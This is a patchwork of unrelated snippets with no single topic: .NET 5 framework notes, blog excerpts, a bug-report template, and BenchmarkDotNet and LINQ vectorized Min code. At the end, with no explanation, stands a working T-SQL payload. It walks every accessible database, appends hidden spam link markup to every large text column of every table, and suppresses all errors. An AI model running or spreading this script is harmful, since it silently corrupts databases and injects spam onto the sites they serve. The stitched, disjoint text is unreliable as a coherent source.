net5.0. This is for code that runs everywhere. It combines and replaces the netcoreapp and netstandard names. This TFM will generally only include technologies that work cross-platform (except for pragmatic concessions, like we already did in .NET Standard). 

What follows is sort of a travel log of what I did and how the new CoreCLR functionality fares compared to writing C++ code, when processor intrinsics are involved. 

Did you know that when Googlebot is crawling the Web, it runs a version of Chromium behind the scenes and actually runs your JavaScript? This means there are some things to be aware of. 

Overall I was very very happy with LiteDB and I particularly like the fact that is was free, and it did pretty much exactly the same as RavenDB Emebedded (sometimes it was easier to do as well). 

As a ___ I did ___ and expected ___ but experienced ___.

Steps to reproduce:
1.
2.
3.

URL where bug was observed:
Screenshot:
Environment: Local, Staging or Production
Logged in? [Yes / No]
Logged in as:
Customer contact:
Comments: 

using BenchmarkDotNet.Attributes;
using BenchmarkDotNet.Running;
using System.Collections.Generic;
using System.Linq;


[MemoryDiagnoser(displayGenColumns: false)]
public partial class Program
{
  static void Main(string[] args) =>
    BenchmarkSwitcher.FromAssembly(typeof(Program).Assembly).Run(args);

  [Params (10, 10000)]
  public int Size { get; set; }
  private IEnumerable<int> items;

  [GlobalSetup]
  public void Setup()
  {
    items = Enumerable.Range(1, Size).ToArray();
  }  

  [Benchmark]
  public int Min() => items.Min();

  [Benchmark]
  public int Max() => items.Max();

  [Benchmark]
  public double Average() => items.Average();

  [Benchmark]
  public int Sum() => items.Sum();
}

public static int Min(this IEnumerable<int> source)
{
  if (source == null)
  {
    ThrowHelper.ThrowArgumentNullException(ExceptionArgument.source);
  }

  int value;
  using (IEnumerator<int> e = source.GetEnumerator())
  {
    if (!e.MoveNext())
    {
      ThrowHelper.ThrowNoElementsException();
    }

    value = e.Current;
    while (e.MoveNext())
    {
      int x = e.Current;
      if (x < value)
      {
        value = x;
      }
    }
  }
  return value;
}

public static int Min(this IEnumerable<int> source) => MinInteger(source);

private static T MinInteger<T>(this IEnumerable<T> source)
  where T : struct, IBinaryInteger<T>
{
  T value;

  if (source.TryGetSpan(out ReadOnlySpan<T> span))
  {
    if (Vector.IsHardwareAccelerated && 
        span.Length >= Vector<T>.Count * 2)
    {
      .... // Optimized implementation
      return ....;
    }
  }
  .... //Implementation as in .NET 6
}

if (Vector.IsHardwareAccelerated && span.Length >= Vector<T>.Count * 2)

private static T MinInteger<T>(this IEnumerable<T> source)
where T : struct, IBinaryInteger<T>
{
  .... 
  if (Vector.IsHardwareAccelerated && span.Length >= Vector<T>.Count * 2)
  {
    var mins = new Vector<T>(span);
    index = Vector<T>.Count;
    do
    {
      mins = Vector.Min(mins, new Vector<T>(span.Slice(index)));
      index += Vector<T>.Count;
    }
    while (index + Vector<T>.Count <= span.Length);

    value = mins[0];
    for (int i = 1; i < Vector<T>.Count; i++)
    {  
      if (mins[i] < value)
      {
        value = mins[i];
      }
    }
  ....
}

Moving the standards work into the open, under the .NET Foundation, makes it easier for standardization work. Everything from language innovation and feature design through implementation and on to standardization now takes place in the open. It will be easier to ask questions among the language design team, the compiler implementers, and the standards committee. Even better, those conversations will be public. 

Not because there aren’t people who actually enjoy working in an open office, there are. Quite a few, actually. But they’re in the distinct minority. The vast majority of people either dislike the open office or downright hate it. So how is that going to work, exactly? 

An independent group of volunteers within Microsoft has successfully open sourced and forked Windows Live Writer. The fork is called Open Live Writer (also known as OLW) and it is part of the .NET Foundation and managed by this group of volunteers.  

DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;